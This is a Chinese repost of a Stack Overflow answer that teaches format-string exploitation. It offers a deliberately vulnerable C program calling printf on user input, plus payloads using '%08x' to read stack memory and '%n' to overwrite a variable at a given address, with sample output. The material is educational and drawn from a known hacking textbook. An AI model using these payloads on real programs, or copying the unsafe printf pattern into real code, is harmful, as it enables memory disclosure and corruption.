gpt4 book ai didi

c - 如何利用 Format-String 漏洞?

转载 作者:太空狗 更新时间:2023-10-29 15:08:56 25 4
gpt4 key购买 nike

我在阅读有关代码漏洞的信息时发现了这个格式字符串漏洞

Wikipedia说:

Format string bugs most commonly appear when a programmer wishes to print a string containing user supplied data. The programmer may mistakenly write printf(buffer) instead of printf("%s", buffer). The first version interprets buffer as a format string, and parses any formatting instructions it may contain. The second version simply prints a string to the screen, as the programmer intended.

我得到了 printf(buffer) 版本的问题,但我仍然不明白攻击者如何利用这个漏洞来执行有害代码。有人可以通过示例告诉我如何利用此漏洞吗?

最佳答案

您可以通过多种方式直接或间接地利用格式字符串漏洞。让我们以下面的例子为例(假设没有相关的操作系统保护,无论如何这都是非常罕见的):

int main(int argc, char **argv)
{
char text[1024];
static int some_value = -72;

strcpy(text, argv[1]); /* ignore the buffer overflow here */

printf("This is how you print correctly:\n");
printf("%s", text);
printf("This is how not to print:\n");
printf(text);

printf("some_value @ 0x%08x = %d [0x%08x]", &some_value, some_value, some_value);
return(0);
}

此漏洞的基础是具有可变参数的函数的行为。本质上,实现处理可变数量参数的函数必须从堆栈中读取它们。如果我们指定一个格式字符串,使 printf() 期望堆栈上有两个整数,并且我们只提供一个参数,则第二个参数必须是堆栈上的其他值。通过扩展,如果我们可以控制格式字符串,我们可以拥有两个最基本的原语:


从任意内存地址读取

[编辑] 重要:我在这里对栈帧布局做了一些假设。如果您了解漏洞背后的基本前提,则可以忽略它们,而且它们因操作系统、平台、程序和配置而异。

可以使用%s 格式参数来读取数据。您可以在 printf(text) 中读取原始格式字符串的数据,因此您可以使用它来读取堆栈中的任何内容:

./vulnerable AAAA%08x.%08x.%08x.%08x
This is how you print correctly:
AAAA%08x.%08x.%08x.%08x
This is how not to print:
AAAA.XXXXXXXX.XXXXXXXX.XXXXXXXX.41414141
some_value @ 0x08049794 = -72 [0xffffffb8]

写入任意内存地址

您可以使用%n 格式说明符写入任意地址(几乎)。同样,让我们​​假设我们上面的易受攻击的程序,让我们尝试更改位于 0x08049794some_value 的值,如上所示:

./vulnerable $(printf "\x94\x97\x04\x08")%08x.%08x.%08x.%n
This is how you print correctly:
??%08x.%08x.%08x.%n
This is how not to print:
??XXXXXXXX.XXXXXXXX.XXXXXXXX.
some_value @ 0x08049794 = 31 [0x0000001f]

我们已经用遇到 %n 说明符之前写入的字节数覆盖了 some_value (man printf)。我们可以使用格式字符串本身,或者字段宽度来控制这个值:

./vulnerable $(printf "\x94\x97\x04\x08")%x%x%x%n
This is how you print correctly:
??%x%x%x%n
This is how not to print:
??XXXXXXXXXXXXXXXXXXXXXXXX
some_value @ 0x08049794 = 21 [0x00000015]

有许多可能性和技巧可以尝试(直接参数访问、大字段宽度使环绕成为可能、构建您自己的基元),而这只是冰山一角。我建议阅读更多关于 fmt 字符串漏洞的文章(Phrack 有一些非常优秀的文章,尽管它们可能有点高级)或一本涉及该主题的书。


免责声明:示例摘自乔恩·埃里克森 (Jon Erickson) 所著的黑客:剥削的艺术(第 2 版)一书 [虽然不是逐字]。

关于c - 如何利用 Format-String 漏洞?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/28064827/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com